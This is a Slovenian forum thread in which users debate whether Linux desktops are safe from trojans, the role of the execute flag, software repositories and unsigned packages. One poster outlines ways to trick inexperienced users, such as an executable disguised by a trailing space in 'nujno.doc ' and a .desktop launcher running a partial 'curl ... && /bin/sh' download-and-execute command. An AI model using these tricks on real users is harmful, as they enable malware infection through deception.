» »

Trojanski konji tudi za Linux

1
2
»

AndrejO ::

BlackMaX je izjavil:

Ker nimam tega OSja, me zanima koliko ta trditev drži?

1. No code can ever be executed on a Linux desktop unless that code has the execute flag enabled. This keeps Linux users 100% safe.

Ne drži.

BlackMaX je izjavil:

2. There is no need for #2. #1 keeps Linux users 100% safe.

Ne drži.

100% varen je neumnost. Če poznaš koga, ki verjame v takšne pravljice, za zelo ugodno ceno prodajam malo rabljen most. Vse kar pričakejm je, da si sprotno razdeliva stroške transporta. Plačilo za most ob dostavi.

Koda nima "execute flag", datoteke jo imajo. Zastavica je informativnega značaja, ne pa "varnostni ukrep". Če želim lahko spišem aplikacijo, ki bo neko kodo naložila iz poljubne datoteke, lahko tudi neposredno preko omrežja, brez dotikanja lokalnega diska in jo izvršila.

$ echo echo fubar > foo.bar
$ sh foo.bar
fubar

Ooops. Izvršil sem kodo, pa ni bila označena kot izvršljiva.

Je doma kdo to preveril? Ooops 2.0. Moja koda se je izvršila na vašem domačem računalniku. Skoraj direktno iz spletne strani.

A se bi lahko sedaj prosim začeli resno pogovarjati o varnosti?

Zgodovina sprememb…

  • spremenil: AndrejO ()

xxx ::

AndrejO zagotovo se motiš, sicer številke pravijo, da je linux notorično luknjast sistem, daleč bolj od Windows ampak to je samo zarota:

Linux: http://www.cvedetails.com/vendor/33/Lin...
Windows: http://www.cvedetails.com/product/3435/...
Pa pa...

Zgodovina sprememb…

  • spremenilo: xxx ()

AndrejO ::

xxx je izjavil:

AndrejO zagotovo se motiš, sicer številke pravijo, da je linux notorično luknjast sistem, daleč bolj od Windows ampak to je samo zarota:

V čemu natančno se motim?

xxx ::

AndrejO je izjavil:

V čemu natančno se motim?

Pocakaj, ti bodo ze razlozili... verjetno o vsem ;((
Pa pa...

Zgodovina sprememb…

  • spremenilo: xxx ()

xxx ::

Aja se malo detajlov, npr. priviledge escalationi (ko dobis pravice, ki ti ne pripadajo, npr. ko uber-varen-user-sploh-ne-more-do-roota-pa-do-njega-vseeno-pride):
http://www.cvedetails.com/vulnerability...
Pa pa...

Zgodovina sprememb…

  • spremenilo: xxx ()

techfreak :) ::

xxx je izjavil:

Aja se malo detajlov, npr. priviledge escalationi (ko dobis pravice, ki ti ne pripadajo, npr. ko uber-varen-user-sploh-ne-more-do-roota-pa-do-njega-vseeno-pride):
http://www.cvedetails.com/vulnerability...

Windows 7 jih ima letos 50, Linux pa 16. Poleg tega so pri Linuxu vse ranljivosti javne, pri Windowsu pa to ni nujno.

xxx ::

techfreak :) je izjavil:

xxx je izjavil:

Aja se malo detajlov, npr. priviledge escalationi (ko dobis pravice, ki ti ne pripadajo, npr. ko uber-varen-user-sploh-ne-more-do-roota-pa-do-njega-vseeno-pride):
http://www.cvedetails.com/vulnerability...

Windows 7 jih ima letos 50, Linux pa 16. Poleg tega so pri Linuxu vse ranljivosti javne, pri Windowsu pa to ni nujno.


Dol mi visi ali je 1 ali 50 in koliko je javnih. Obe zadevi sta ko švicarski sir (kar je pri kompleksnosti in količine kode popolnoma razumljivo), ampak samo Linux fanboyi so dovolj neumni, da se hvalijo kako pa njihov sir nima lukenj. Dejstvo je, da linux še zdaleč ni varen in da ga pestijo popolnoma enake tezave kot Windowse. In pa predvsem nehaj nakladati koliko jih ima letos, popolnoma enake neumnosti kot jih od "vas" poslusam danes sem poslusal ze leta 2004, nic se ni spremenilo, vedno najdete kaksen lame excuse, od menjave vatlov naprej.
Pa pa...

Zgodovina sprememb…

  • spremenilo: xxx ()

34054 ::

Torej, _execute flag_ je še kako pomemben. In lahko ti povem zakaj.

Moji sestri sem pred kratkim namestil Ubuntu in ji preprosto razložil da vse kar potrebuje je v Software Centru, - verjetnost da si bo ona sama kaj nalagala je sicer tako ali tako mala. Ima brskalnik in to je bolj ali manj vse kar potrebuje. Recimo da so za njo bili najbolj nevarni, v preteklosti, predvsem razni e-mail s sumljivimi priponkami.

Torej, Ubuntu scenarij, tudi če odmislimo dejstvo da je zle kode za GNU-Linux veliko manj, je tudi dejanskih možnost, da bo nek neveden (povprečen uporabnik) zlo kodo izvršil. Roko na srce, moja sestra ali pa moja punca, ali pa moji starši, ne hodijo ravno po internetu in v terminal kopirajo naključne komande. Zakaj ne? Ker sploh ne vedo kaj za hudiča terminal je!!!

Dobro, torej, vedo, da vse kar rabijo je v Software Centru. Vsa ostala koda ki bi jo mogoče prenesli iz interneta nima execute flaga, in se torej ne bo izvršila; nasprotno, ob kliku na datoteko se bo prikazal izvorna koda v _Text Editorju_. Enako velja za .jar datoteke - odprle se bodo v _Archive Managaer_ aplikaciji, enako velja za .exe datoteke, in .zip in vse ostalo. Kul a ne?

Kaj še torej preostane? Seveda .deb datoteke. Slednje se odprejo v Software Centru, skupaj z velikim odebeljenim opozorilom: "Hej, ne nalagaj tega, če ne zaupaš viru." Fino a ne? Moja punca, moja sestra, bosta ob tej priložnosti vse skupaj enostavno zaprli, ali pa pocukali za rokav mene in vprašali: "Hej, tukaj piše da bi nekaj lahko bilo nevarno. Kaj je to?"

Torej, da, GNU-Linux sistem je samo po sebi bolj varen in _execute flag_ pri tem igra določeno (veliko) vlogo. Pika.

xxx ::

Poslusaj kekec, NT linja windowsov (ja od zacetka) ima vso podporo za štelanje permission na kernel objektih. By design. Zadeva je tako fine grained, da je dejansko nihče ne uporablja, ker se bi lahko administratorji cele dneve samo še s tem ukvarjali.

Pa taksnile "detajli" tudi niso prav v pomoč :P
http://thejh.net/misc/website-terminal-...
Pa pa...

Zgodovina sprememb…

  • spremenilo: xxx ()

34054 ::

In to pomaga povprečnemu uporabniku, ... kako že? Kot si sam napisal, zadeva je tako fine grained (domnevam kompleksna) da nihče ne uporablja.

Sedaj ko sem ti razložil kako stvar deluje, na praktičnem, resničnem primeru, sem Kekec, zakaj že? Aja osebni napadi in fantazije o "fine grained kernel permissions" v Windows sistemih (kar je sicer dokaj off-topic), ker je zmanjkalo argumentov. Good to know my friend, good to know.

Sam proces nalaganja aplikacij je na sistemih kot so Ubuntu, pač tako drastično drugačen (v primerjavi z Windows-i) in neka varnost pač izhaja že iz tega. Uporabnik mora v neki meri spremeniti način razmišljanja. Software Center, na primer, igra pri tem veliko vlogo. Povprečen uporabnik najde tam vse kar potrebuje, torej grda navada iskanja aplikacij po internetu in izvrševanj sumljivih .exe datotek enostavno v celoti odpade.

In povprečni uporabniki so tisti ki so najbolj ranljivi.

Seveda pa je vredno omeniti tudi Power Shell, če je izvrševanje naključne kode iz interneta nek -securty risk- (in ne popolna ignoranca na strani uporabnika), potem (zraven vsega drugega) to velja tudi za Windows sisteme.

Ne trdim da je GNU-Linux popoln in absolutno varen, trdim zgolj da je prekleto bolj varen od Windows sistemov. Zakaj?

- Software Center / Software repositories,
- Redne nadgradnje vseh programov (ne samo sistema in določenih izbrancev ki so implementirali avtomatske nadgradnje sami),
- Execute flag (sem lepo opisal na primeru),
- ti sistemi so redkeje tarče napadov in za njih je manj zle kode,
- tudi če si zamislimo da je zla koda v .deb datoteki, se slednje ob izvršitvi obnašajo sila drugače kot se obnaša neka .exe datoteka ki trdi da je "setup",
- open-source (da igra vlogo),
- še bi lahko našteval.

Še enkrat, v mislih imam povprečne uporabnike (moja sestra, moja punca, starši, ...); Ostali, napredni in "napredni" (nevednicah!!!), so potencialno druga zgodba.

Aja, še to - I'm done with you. ;)

Zgodovina sprememb…

  • spremenil: 34054 ()

xxx ::

34054 je izjavil:

ti sistemi so redkeje tarče napadov in za njih je manj zle kode

Samo tule se bova strinjala. Teh sisteme uporablja 1% uporabnikov, tako da se za njih ne splača pisat "zle" kode. Ampak po drugi strani, tudi spectruma nihče več ne uporablja, je zato bolj varen? Najbrz...

Sicer si pa imel lepo plastičen primer kako ti vsa ta "varna" navlaka nič ne pomaga ker lahko čisto elegantno pastaš v konzolo neumnost. Lukenj imata pa oba sistema čisto dovolj, vaše zagovarjanje "bolj" varnega sistema je kot bi windowsaš in linuxaš na robu prepada blebetala kako je njegov cvirn boljši in ga bo dlje varoval pred padcem. Na koncu vseeno oba padeta. Bolj.. heh, my ass.

Aja, še to - I'm done with you. ;)
Pa pa...

Zgodovina sprememb…

  • spremenilo: xxx ()

flbroker ::

Čisto prav je vsakemu ki ga opeharijo. Jaz za denarne transakcije (bodisi bančne, paypal...) uporabljam live linux distro spečeno na cdju. Bring on them viruses!

MrStein ::

3 .. 2 .. 1 .. server side hack... lep dan

Posebej, ker nimaš ravno up to date, če je zapečen.

34054 je izjavil:


Kaj še torej preostane? Seveda .deb datoteke. Slednje se odprejo v Software Centru, skupaj z velikim odebeljenim opozorilom: "Hej, ne nalagaj tega, če ne zaupaš viru." Fino a ne? Moja punca, moja sestra, bosta ob tej priložnosti vse skupaj enostavno zaprli, ali pa pocukali za rokav mene in vprašali: "Hej, tukaj piše da bi nekaj lahko bilo nevarno. Kaj je to?"

Windows tudi vpraša "Ta fajl je lahko nevaren, si prepričan, da bi ga odprl".
Celo večkrat.

Glede "izkušnje mojega sorodnika" pa: sorodnik starejše generacije uporablja windows že kar precej let. In pazi to, o groza, "manj varno" verzijo, XP!
Pa dosedaj še en problem z malware ni imel. Spletno banko tudi uporablja.
PS: Pred tem ni znal kaj je folder in fajl. V bistvu še danes ne ve.
Motiti se je človeško.
Motiti se pogosto je neumno.
Vztrajati pri zmoti je... oh, pozdravljen!

Zgodovina sprememb…

  • spremenil: MrStein ()

jype ::

MrStein> Windows tudi vpraša "Ta fajl je lahko nevaren, si prepričan, da bi ga odprl".

Nope - vsi profesionalni virusi to opozorilo zaobidejo z uporabo enega od znanih oziroma morda kakšnega neznanega mehanizma.

MrStein> Pa dosedaj še en problem z malware ni imel. Spletno banko tudi uporablja.

Ja, v resnici ima slackware, samo da se tega ne zaveda.

AndrejO ::

34054 je izjavil:


Dobro, torej, vedo, da vse kar rabijo je v Software Centru. Vsa ostala koda ki bi jo mogoče prenesli iz interneta nima execute flaga, in se torej ne bo izvršila; nasprotno, ob kliku na datoteko se bo prikazal izvorna koda v _Text Editorju_. Enako velja za .jar datoteke - odprle se bodo v _Archive Managaer_ aplikaciji, enako velja za .exe datoteke, in .zip in vse ostalo. Kul a ne?

Dokler uporabljaš aplikacijo, ki kompresirane izvršljive datoteke ne bo zagnala, se lahko slepiš, da "ostala koda ... nima ustrezne zastavice". Lahko jo ima. Tale zip vsebuje izvršljivo datoteko. Če jo boš slučajno razpakiral, jo boš lahko tudi slučajno zagnal. Z enostavnim klikanjem po vmesniku. Če so tvoji dovolj neizkušeni, da bodo sledili navodilu "prenesite iz arhiva na disk in tam odprite", mi lahko celo uspe podatkniti, kar rabim podtakniti.

Če pri tvojih ne, mi bo pa pri komu drugemu. Na koncu je vse skupaj samo igra številka.

Zastavica s katero se označi datoteko za neposredno izvršljivo (neposredno je tukaj ključna beseda), je še vedno samo pomoč in to takšna, da se jo lahko izkoristi v tvojo škodo (izvršljiva nujno.doc datoteka? mljac). Takšna, kot je končnica .exe v kakšnem drugem operacijskem sistemu. Pa tisti drugi sistem se je moral dobro potruditi, da je začel to oznako pred uporabnikom skrivati, grafični uporabniški vmesniki tega sistema pa večinoma še niso pogruntali kako to, potencialno nevarno lastnost, uporabniku jasno prikazati.

Pravilen prikaz je en izmed ključnih elementov varnosti. Ne pa zastavice. Sploh pa ne ta zastavica, ki nima zveze z varnostjo.

34054 je izjavil:

Torej, da, GNU-Linux sistem je samo po sebi bolj varen in _execute flag_ pri tem igra določeno (veliko) vlogo. Pika.

Koristna informacija o datotek ne pomeni "varnosten ukrep". Sploh pa ne neko "določeno (veliko) vlogo". Še zlasti pa ne, če zaupaš aplikaciji (Archive manager), da ti datoteke ne bo dovolila neposredno zagnati.

Na tej osnovi sklepati o varnosti GNU/Linux sistema v splošnem (brez upoštevanja vseh možnih variacij pa sploh), je nemogoče.

Bom poskusil še enkrat: se gremo raje resno pogovarjati o varnosti?

AndrejO ::

34054 je izjavil:

Povprečen uporabnik najde tam vse kar potrebuje, torej grda navada iskanja aplikacij po internetu in izvrševanj sumljivih .exe datotek enostavno v celoti odpade.

To si narobe misliš.

34054 je izjavil:

- Software Center / Software repositories,

Razen tisto, kar moraš prenesti od nekje drugje in tisti "drugje" ne ponuja drugega, kot neposredno prenosov paketov.

34054 je izjavil:

Redne nadgradnje vseh programov (ne samo sistema in določenih izbrancev ki so implementirali avtomatske nadgradnje sami),

Razen tistih, ki niso odprtokodni in tega pač nimajo.

34054 je izjavil:

- Execute flag (sem lepo opisal na primeru),

Fail.

34054 je izjavil:

- ti sistemi so redkeje tarče napadov in za njih je manj zle kode,

To pa imaš prav. Kjer ni tržnega deleža, ni denarja.

34054 je izjavil:

- tudi če si zamislimo da je zla koda v .deb datoteki, se slednje ob izvršitvi obnašajo sila drugače kot se obnaša neka .exe datoteka ki trdi da je "setup",

Opiši razlike, ki vplivajo na varnost.

34054 je izjavil:

- open-source (da igra vlogo),

Razen tisto, kar ni odprta koda. Ravno tako ni še nihče pokazal ali pa ovrgel hipoteze, da ima odprta koda neposreden vpliv na varnost bodisi kratkoročno, bodisi dolgoročno. Torej samo citiraš neko mnenje, ki ni bilo nikoli potrjeno samo zato, ker tudi ovrženo ni bilo.

34054 je izjavil:

- še bi lahko našteval.

Prosim.

MrStein ::

jype je izjavil:

MrStein> Windows tudi vpraša "Ta fajl je lahko nevaren, si prepričan, da bi ga odprl".

Nope - vsi profesionalni virusi to opozorilo zaobidejo z uporabo enega od znanih oziroma morda kakšnega neznanega mehanizma.

Ja, na neznanem kraju, na neznani način...

MrStein> Pa dosedaj še en problem z malware ni imel. Spletno banko tudi uporablja.

Ja, v resnici ima slackware, samo da se tega ne zaveda.

A ti imaš kaki dan, ko se ti ne blede?
Motiti se je človeško.
Motiti se pogosto je neumno.
Vztrajati pri zmoti je... oh, pozdravljen!

techfreak :) ::

Zastavica s katero se označi datoteko za neposredno izvršljivo (neposredno je tukaj ključna beseda), je še vedno samo pomoč in to takšna, da se jo lahko izkoristi v tvojo škodo (izvršljiva nujno.doc datoteka? mljac). Takšna, kot je končnica .exe v kakšnem drugem operacijskem sistemu. Pa tisti drugi sistem se je moral dobro potruditi, da je začel to oznako pred uporabnikom skrivati, grafični uporabniški vmesniki tega sistema pa večinoma še niso pogruntali kako to, potencialno nevarno lastnost, uporabniku jasno prikazati.

Izvršljivo nujno.doc datoteko ti Ubuntu ne bo zagnal, temveč bo odprl OpenOffice in ti jo tam pokazal.

Razen tistih, ki niso odprtokodni in tega pač nimajo.

Od kdaj pa zaprtokodni programi niso na voljo preko package managerja? Vsaj za Ubuntu/Debian/Mint ter ostale sorodne velja, da imajo načeloma tudi zaprtokodni programi urejeno nameščanje in posodabljanje preko njih.

xxx ::

jype je izjavil:

Nope - vsi profesionalni virusi to opozorilo zaobidejo z uporabo enega od znanih oziroma morda kakšnega neznanega mehanizma.

Dragi jype, to pa ne bo tako preprosto, dokler gre za širjenje preko uporabnikove neumnosti tega ne morejo zaobiti.
Pa pa...

Mipe ::

Prevzetnost je ogromna varnostna luknja.

xxx ::

Mipe je izjavil:

Prevzetnost je ogromna varnostna luknja.

Ja, ampak trditi, da lahko tole zaobides je pa naravnost idiotsko...


if( isexecutable(filename))
{
if( !showdialog_canexecute() )
return;
createprocess(filename,...);
}


Imajo pa Windowsi res eno ogromno luknjo in to je prijaznost do uporabnikov, tukaj je Linux dalec bolj varen in iz istega razloga ga uporablja samo 1-2% (pa raje manj kot 2%) marginalcev.
Pa pa...

Zgodovina sprememb…

  • spremenilo: xxx ()

jype ::

chironex> marginalcev

Linux teče na več kot 80% vseh računalnikov na svetu.

MrStein ::

Kjer se jim pojavlja napis "Hej, ne nalagaj tega, če ne zaupaš viru." in druge stvari iz teme, kajne?
Motiti se je človeško.
Motiti se pogosto je neumno.
Vztrajati pri zmoti je... oh, pozdravljen!

WizmoTo ::

jype je izjavil:

chironex> marginalcev

Linux teče na več kot 80% vseh računalnikov na svetu.


Poleg tega ima večinski delež na server trgu, kjer je nabolj na udaru pred potencialnimi remote zlorabami... tako, da tisti izgovor o tem, da se zanj ne splača pisati virusov, je hudo ubog... Za open-source OS, ki ni pod nadzorom NSA, je pač težje skrivat backdoore, kot je to možno v Windowsih...

http://w3techs.com/technologies/history...

chironex, malo si oglej tiste linke, ki si jih poslal. V zadnjem letu 9 remote exploitov za Windows in niti enega za linux. Res, da je 16 drugih (večinoma DOS), ampak ne omogočajo prevzema računalnika, vsi imajo nivo pod 9. Sicer take strani je za vzeti z rezervo, pač objavljajo samo znane luknje...

MrStein ::

Torej si spregledal sosednjo temo o OpenX?
Z mižanjem se res marsikaj reši, vprašaj naše politike, če ne verjameš. ;)
Motiti se je človeško.
Motiti se pogosto je neumno.
Vztrajati pri zmoti je... oh, pozdravljen!

AndrejO ::

techfreak :) je izjavil:


Izvršljivo nujno.doc datoteko ti Ubuntu ne bo zagnal, temveč bo odprl OpenOffice in ti jo tam pokazal.

Ne "Ubuntu", temveč Nautilius, ki je v vmesnikih Unity in Gnome privzeta aplikacija za brskanje po datotečnem sistemu. Če nekaj navajaš, navajaj natančno, sicer ti lahko argument odpišem z neumnim protiprimerom (npr. imam Ubuntu s KDE, ki se obnaša drugače - kdo ima sedaj prav?).

Pa tudi tega, mi ni potrebno storiti, ker ti lahko v arhivu podtaknem izvršljivo (ELF) datoteko, ki ima ime "nujno.doc ", česar ti Nautilius ne bo odprl na podlagi končnice. Če me skrbi izgled ikone, potem pozabim na izvršljivo datoteko in izkoristim prijaznost vseh grafičnih vmesnikov, ki poznajo .desktop datoteke (gl. freedesktop.org). Kar se bo uporabniku pokazalo bo ime (recimo "nujno.doc"), sama foo.desktop datoteka pa bo vsebovala kar je potrebno za prikaz ustrezne ikone in zagon nalagalnika zlonamerne kode. Npr. sh -c 'curl .... && /bin/sh sem_trojanec'). Torej znova luknja skozi katero lahko neprevidnega uporabnika še vedno ulovim (če ga le prepričam, da datoteke pred zagonom shrani nekam na disk).

Če uporabljaš KDE je zadeva se bolj komična, ker je privzeta nastavitev "zagon pri prvem kliku". Ne glede na končnico, bo izvršljiva datoteka izvršena. To je gledano iz vidika sistema natančno posnemanje delovanja ukazne vrstice, kar naj bi pri *IX sistemih štelo za "standardno obnašanje". Kombinacija pomeni, da že pri nedolžnem kliku na datoteko, ki je bila prenešena iz arhiva in ima izvršljivo zastavico, bo to za uporabnika konec igre.

techfreak :) je izjavil:

Razen tistih, ki niso odprtokodni in tega pač nimajo.

Od kdaj pa zaprtokodni programi niso na voljo preko package managerja? Vsaj za Ubuntu/Debian/Mint ter ostale sorodne velja, da imajo načeloma tudi zaprtokodni programi urejeno nameščanje in posodabljanje preko njih.

Tisti ki niso in tega pac nimajo. Oba pogoja morata biti izpolnjena. Vendar priznam napako, saj to ni popolnoma pravilna definicija. Pravilna je: pri tistih, pri katerih lastnik avtorskih pravic ne da pravice redistribucije (odrtokodnost potem več ni faktor). Pa dajmo se še malo ustaviti pri teh oh in sploh skladiščih. Katera točno so varna za uporabo in kako priti do njih? Želim Skype ali Opero. Ni problema, prenesem namestitveni paket, izvedem namestitev in dobim nastavljeno še dodatno skladišče za posodabljanje.

Kaj pa, če je bil namestitveni paket "podtaknjenec"? Oops?

Takšne igrice "ti narediš eno, jaz naredim drugo", se gremo lahko do onemoglosti oziroma do točke, ko se bom ustavil in rekel, ne, od tukaj naprej pa je govora že o manj znanih variantah, ki jih ne more v pol ure pogruntati vsak 10-letnik. Ne glede na to, pa se ta igra vsakodnevno odvija tudi od te točke naprej in to ne brez škodljivih posledic. Napadalcu mora uspeti samo enkrat. Branitelju mora uspeti vedno.

V izhodišču velja, da dokler je možno neukega uporabnika relativno enostavno prepričati, da bo na svojem sistemu pognal kodo iz nepreverjenega vira, toliko časa imas opravka z uporabnik vektorjem za večino okuzb, ki se zadevajo končnih uporabnikov. Ideje, da neke zastavice v tem trenutku pri temu pomagajo, so pretiran optimizem, ker jim manjka še dodatna infrastruktura (če kdo želi, lahko navedem nekaj izhodišč). Posnemanje delovanja vmesnika za Okna (nekaj na podlagi končnic) trčijo ob podobne omejitve, kot taista Okna. Vztrajanje pri doslednem posnemanju delovanja ukazne vrstice so nevarna. Prijaznost uporabniku je občasno izvedena na način, da se lahko nevarnost pred uporabnikom prikrije in ga tako prepriča v zagon zlonamerne kode.

Opcij je veliko in naštel sem samo najbolj očitne. Tiste za 10-letnike.

Zgodovina sprememb…

  • spremenil: AndrejO ()

techfreak :) ::

Ne "Ubuntu", temveč Nautilius, ki je v vmesnikih Unity in Gnome privzeta aplikacija za brskanje po datotečnem sistemu. Če nekaj navajaš, navajaj natančno, sicer ti lahko argument odpišem z neumnim protiprimerom (npr. imam Ubuntu s KDE, ki se obnaša drugače - kdo ima sedaj prav?).

Očitno si razumel kaj sem hotel povedati, pa btw imenuje se Nautilus.

Pa tudi tega, mi ni potrebno storiti, ker ti lahko v arhivu podtaknem izvršljivo (ELF) datoteko, ki ima ime "nujno.doc ", česar ti Nautilius ne bo odprl na podlagi končnice.

$ file out.doc
out.doc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x804cd8d475398f817950db007b8c7dcafbc26b0c, not stripped

Poglej si to, odpre mi jo v OpenOffice.

Pravilna je: pri tistih, pri katerih lastnik avtorskih pravic ne da pravice redistribucije (odrtokodnost potem več ni faktor).

Tukaj pa potem že govorimo o programski opremi namenjeno samo določenemu delu javnosti in takšne programske opreme za domačega uporabnika ni veliko.

Kaj pa, če je bil namestitveni paket "podtaknjenec"? Oops?

To se lahko pojavi tudi na ostalih sistemih, še vseeno pa je zelo malo oz. skoraj nič zlorab s strani razvijalca programske opreme. Poleg tega so vsi paketi digitalno podpisani in tudi ne more priti do MITM napada.

AndrejO ::

techfreak :) je izjavil:

Ne "Ubuntu", temveč Nautilius, ki je v vmesnikih Unity in Gnome privzeta aplikacija za brskanje po datotečnem sistemu. Če nekaj navajaš, navajaj natančno, sicer ti lahko argument odpišem z neumnim protiprimerom (npr. imam Ubuntu s KDE, ki se obnaša drugače - kdo ima sedaj prav?).

Očitno si razumel kaj sem hotel povedati, pa btw imenuje se Nautilus.

Narobe crkoval. :(

Razumel sem, ker imam toliko znanja, da lahko iz pomankljivih podatkov izluscim osnovno resnico. V osnovi se zelim pogovarjati o argumentih, ne pa preprekati o temu kdo kaj misli, zato se seveda potrudim, da ugotovim kaj tocno si mislil in razmislim o tistem. Ne zelim neplodnega prerekanja na koliko razlicnih nacinov si lahko dva razlagata isti stavek.

techfreak :) je izjavil:

Pa tudi tega, mi ni potrebno storiti, ker ti lahko v arhivu podtaknem izvršljivo (ELF) datoteko, ki ima ime "nujno.doc ", česar ti Nautilius ne bo odprl na podlagi končnice.

$ file out.doc
out.doc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x804cd8d475398f817950db007b8c7dcafbc26b0c, not stripped

Poglej si to, odpre mi jo v OpenOffice.

Ni bilo ocitno, vendar se v narekovajih skriva presledek. Ime datoteke mora biti "out.doc " in ne "out.doc".

techfreak :) je izjavil:

Pravilna je: pri tistih, pri katerih lastnik avtorskih pravic ne da pravice redistribucije (odrtokodnost potem več ni faktor).

Tukaj pa potem že govorimo o programski opremi namenjeno samo določenemu delu javnosti in takšne programske opreme za domačega uporabnika ni veliko.

Pravica do redistribucije ni enaka pravici do brezplacne uporabe. Taksne opreme ne rabi je biti veliko. Rabi biti samo dovolj popularna.

Google Chrome, Microsoft Skype, Opera, Steam. Ce se uspes obesiti na nekaj popularnega in namesto pravega paketa podtakniti svojega, si svoje sanse ustrezno povecal. Skladisca so lepa stvar, ampak dokler izven osnovnega in prednastavljenega obstaja siroko uporabljana in popularna programska oprema, toliko casa bodo uporabniki imeli popolnoma legitimno zeljo, da bi si taksno programsko opremo namescali.

techfreak :) je izjavil:

Kaj pa, če je bil namestitveni paket "podtaknjenec"? Oops?

To se lahko pojavi tudi na ostalih sistemih, še vseeno pa je zelo malo oz. skoraj nič zlorab s strani razvijalca programske opreme. Poleg tega so vsi paketi digitalno podpisani in tudi ne more priti do MITM napada.

Seveda se lahko, saj ne trdim, da se ne more. Kar trdim je to, da to samo po sebi ni varnostni garant, kot ga nekateri predstavljajo. Je lep pripomocek, ne zajema vsega in ravno zato, ker ne, je luknja enako velika, saj steje najsibkejsi clen, ne stevilo mocnejsih clenov.

To, da so paketi lahko podpisani, nima nikakrsnega pomena, ce sistem dopusca namestitev nepodpisanih paketov iz neznanih virov. Ce ti podtaknem samo enega taksnega, sem zmagal. Tudi tako dalec, da bi bil potreben MITM napadu, ni potrebno iti. Skype recimo nima podpisanega paketa. Kako naj torej vem, da namescam pravega?

Zgodovina sprememb…

  • spremenil: AndrejO ()

techfreak :) ::

Ni bilo ocitno, vendar se v narekovajih skriva presledek. Ime datoteke mora biti "out.doc " in ne "out.doc".

Heh dobra fora.

Google Chrome, Microsoft Skype, Opera, Steam. Ce se uspes obesiti na nekaj popularnega in namesto pravega paketa podtakniti svojega, si svoje sanse ustrezno povecal. Skladisca so lepa stvar, ampak dokler izven osnovnega in prednastavljenega obstaja siroko uporabljana in popularna programska oprema, toliko casa bodo uporabniki imeli popolnoma legitimno zeljo, da bi si taksno programsko opremo namescali.

Opera je popularna? Steam imaš v software centru, Skype imaš na repozitoriju od Canonicala, za Chrome pa res potrebuješ dodati tuj repozitorij (njihov javni ključ je pa verjetno objavljen na večih mestih, tako da bi mogli spremeniti paketek ter tudi objavljen ključ).

To, da so paketi lahko podpisani, nima nikakrsnega pomena, ce sistem dopusca namestitev nepodpisanih paketov iz neznanih virov.

Vedno te obvesti ob nameščanju takšnih paketov. Če se pa sam strinjaš, da želiš kaj takšnega namestiti, te pa sistem ne bo oviral.

Zgodovina sprememb…

AndrejO ::

techfreak :) je izjavil:

Ni bilo ocitno, vendar se v narekovajih skriva presledek. Ime datoteke mora biti "out.doc " in ne "out.doc".

Heh dobra fora.

Je, a ne? V osnovi dobra fora, v igri varnosti pa varnostna pomankljivost, ki se jo da izkoristiti. Seveda ob upoštevanju, da so tarče tehnično neuke osebe. Teh je mnogo več, zaradi nepoznavanja problematike jih bo največji delež naredil napako. Igra številk.

techfreak :) je izjavil:

Opera je popularna?

Dovolj znano ime, da lahko koga zavede, če mu ponudim paket s super duper naslednjo verzijo.

techfreak :) je izjavil:

Steam imaš v software centru

Za PP. Če imaš kakšno drugi distribucijo ali pa RR, potem pa ti sledi klikanje po spletu in bog ne daj, da namesto pravega paketa iz prave strani slučajno pobereš napačnega iz napačne.

techfreak :) je izjavil:

Skype imaš na repozitoriju od Canonicala

OK, to mi je novica. Polna namestitev ubuntu-desktop, kubuntu-desktop in gnome-desktop brez česarkoli odstranjenega:
$ sudo apt-get update
...
$ apt-cache search skype
pidgin-skype - Skype plugin for libpurple messengers
pidgin-skype-dbg - Skype plugin for libpurple messengers (debug symbols)
libopus-dev - Opus codec library development files
libopus0 - Opus codec runtime library
libsipwitch-dev - secure peer-to-peer SIP VoIP server - development files
libsipwitch1 - secure peer-to-peer SIP VoIP server - development files
libsipwitch1-dbg - secure peer-to-peer SIP VoIP server - development files
sipwitch - secure peer-to-peer VoIP server for the SIP protocol
sipwitch-cgi - secure peer-to-peer SIP VoIP server - CGI XML-RPC interface

Očitno veš nekaj, česar jaz ne vem.

techfreak :) je izjavil:

za Chrome pa res potrebuješ dodati tuj repozitorij

Kako pa to "tuje" skladišče običajen laičen uporabnik doda?

techfreak :) je izjavil:

Vedno te obvesti ob nameščanju takšnih paketov. Če se pa sam strinjaš, da želiš kaj takšnega namestiti, te pa sistem ne bo oviral.

Dokler paket izgleda verodostojno, toliko časa se bo laika lahko prepričalo. Razen imena in seznama datotek (ki so za laika 90% nerazumljiva latovščina) ni nikakršnega signala, da paket "skype-ubuntu-precise_4.2.0.11-1_i386.deb" nima nikakršne zveze s podjetjem znanim kot "Microsoft Inc."

To je npr. ena težava, ki jo do sedaj nisem videl rešene in, razen pri Microsoftu, niti še nisem videl poskusov, da bi to že kdo reševal na način, ki bi "pil vodo", ko se pride do najbolj ogoroženega segmenta uporabnikov osebnih računalnikov, hkrati pa ne bi uvajal sistema, ki je danes najbolj znan in posneman pod imenom "AppStore".

techfreak :) ::

Očitno veš nekaj, česar jaz ne vem.

http://www.howopensource.com/2012/10/to...

Kako pa to "tuje" skladišče običajen laičen uporabnik doda?

http://www.howopensource.com/2011/10/in...

To je npr. ena težava, ki jo do sedaj nisem videl rešene in, razen pri Microsoftu, niti še nisem videl poskusov, da bi to že kdo reševal na način, ki bi "pil vodo", ko se pride do najbolj ogoroženega segmenta uporabnikov osebnih računalnikov, hkrati pa ne bi uvajal sistema, ki je danes najbolj znan in posneman pod imenom "AppStore".

Misliš SmartScreen od Microsoft 8? To je tista zadeva ki v polovici primerov pove, da program ni podpisan, v polovici primerov pa pove da je napaka glede povezave s strežnikom? V določenih primerih pa 5 minut preverja nekaj MB veliko datoteko in ti lahko samo čakaš, preden se ti dejansko zažene?

Verjetno je ta zadeva kriva za nezaupanje v programsko opremo in s tem tudi manjše dohodke teh podjetij. Uporabniki se ustrašijo in preprosto ne nadaljujejo z namestitvijo ... good job, MS.

AppStore je kar kul, žal pa vzamejo nekaj odstotkov denarja za sebe.

Pithlit ::

Mavrik je izjavil:

To da ti nekdo pobriše /var ali C:\Windows je veliko manjši problem, kot če zgubiš /home/francek, ker so tam vse tvoje osebne datoteke.

Jah ne. Načeloma bi bila jaz hudo bolj jezna če mi izgine /var kot pa /home. V /home je sicer en kup travniških rožic, ampak teh ni problem it ponovno nabirat. V /var je pa /www (s kar nekaj folderji).

